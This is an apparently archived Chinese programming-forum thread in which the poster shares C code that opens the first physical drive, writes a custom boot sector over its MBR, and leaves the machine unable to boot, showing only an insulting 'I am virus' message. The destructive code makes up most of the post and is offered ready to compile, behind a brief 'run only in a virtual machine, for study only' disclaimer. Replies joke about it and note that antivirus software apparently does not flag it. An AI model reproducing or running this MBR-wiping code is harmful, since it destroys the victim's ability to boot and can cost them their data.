硬盘逻辑锁的代码

满衣兄 2010-01-18 05:33:34
先上效果图:

一定要在虚拟机里运行哦,否则一切后果自负!
本程序只为学习之用,请勿做其它用途,违者后果自负!



下午看的一个开源程序里的一个小功能,觉得蛮好玩的就拿出来收藏一下。。
#include <winioctl.h>
unsigned char scode[] =
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";

int KillMBR()
{
HANDLE hDevice;
DWORD dwBytesWritten, dwBytesReturned;
BYTE pMBR[512] = {0};

// 重新构造MBR
memcpy(pMBR, scode, sizeof(scode) - 1);
pMBR[510] = 0x55;
pMBR[511] = 0xAA;

hDevice = CreateFile
(
"\\\\.\\PHYSICALDRIVE0",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE)
return -1;
DeviceIoControl
(
hDevice,
FSCTL_LOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwBytesReturned,
NULL
);
// 写入病毒内容
WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
DeviceIoControl
(
hDevice,
FSCTL_UNLOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwBytesReturned,
NULL
);
CloseHandle(hDevice);

ExitProcess(-1);
return 0;
}
...全文
1540 21 打赏 收藏 转发到动态 举报
写回复
用AI写文章
21 条回复
切换为时间正序
请发表友善的回复…
发表回复
fldx 2010-01-27
  • 打赏
  • 举报
回复
记住了,以后试一下。
mzjmicrosoft 2010-01-19
  • 打赏
  • 举报
回复
Adechen 2010-01-19
  • 打赏
  • 举报
回复
帮顶的,C++不懂
满衣兄 2010-01-19
  • 打赏
  • 举报
回复
1
满衣兄 2010-01-19
  • 打赏
  • 举报
回复
[Quote=引用 19 楼 winner2050 的回复:]
杀毒软件不会不提防这种代码吧.
[/Quote]
试过了,杀毒软件不防的
winner2050 2010-01-19
  • 打赏
  • 举报
回复
杀毒软件不会不提防这种代码吧.
满衣兄 2010-01-19
  • 打赏
  • 举报
回复
看来是发错地方了,算了,结贴
满衣兄 2010-01-19
  • 打赏
  • 举报
回复
只是想提醒大家不知道的软件不要乱用,万一人家加了个逻辑锁不就很麻烦了吗,到时候开机都开不了,挺吓人的
fwacky 2010-01-19
  • 打赏
  • 举报
回复
呵呵,有意思经
  • 打赏
  • 举报
回复
楼主的意思是不是说,如果某个软件公司的产品出现这个屏幕,直接准备起诉书递给法院就行了,不用找他们了?!
满衣兄 2010-01-19
  • 打赏
  • 举报
回复
我说怎么没人顶,原来是没看懂。。。
运行这个代码之后硬盘就被锁住了,就无法开机了,一开机就出现图片上的那个画面,进不去操作系统的。
suiyuan110 2010-01-19
  • 打赏
  • 举报
回复
虽然看不懂,但。。。up!!!!!!!
mngzilin 2010-01-18
  • 打赏
  • 举报
回复
呵呵,一个死循环。
mngzilin 2010-01-18
  • 打赏
  • 举报
回复
[Quote=引用 3 楼 yfqvip 的回复:]
还是蛮实用的,就是用这个东西太损了。。。江民以前就用这种东西保护版权,结果被告了。。
[/Quote]

其实这就是江民到如今一直“默默无闻”的原因了,他的硬盘逻辑锁比恶意程序还恶心。
  • 打赏
  • 举报
回复
^'^
满衣兄 2010-01-18
  • 打赏
  • 举报
回复
一直都在.NET版混的,C++版人不熟,所以还是发这里
V68V6 2010-01-18
  • 打赏
  • 举报
回复
咋发到ASP.NET版块来了。。。

其实应该弹出一首打油诗。。。
十八道胡同 2010-01-18
  • 打赏
  • 举报
回复
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29"
这个是根据那句fuck you 拼凑出来的?
满衣兄 2010-01-18
  • 打赏
  • 举报
回复
还是蛮实用的,就是用这个东西太损了。。。江民以前就用这种东西保护版权,结果被告了。。
指间的风 2010-01-18
  • 打赏
  • 举报
回复
图片会被和谐的。
加载更多回复(1)

62,268

社区成员

发帖
与我相关
我的任务
社区描述
.NET技术交流专区
javascript云原生 企业社区
社区管理员
  • ASP.NET
  • .Net开发者社区
  • R小R
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告

.NET 社区是一个围绕开源 .NET 的开放、热情、创新、包容的技术社区。社区致力于为广大 .NET 爱好者提供一个良好的知识共享、协同互助的 .NET 技术交流环境。我们尊重不同意见,支持健康理性的辩论和互动,反对歧视和攻击。

希望和大家一起共同营造一个活跃、友好的社区氛围。

试试用AI创作助手写篇文章吧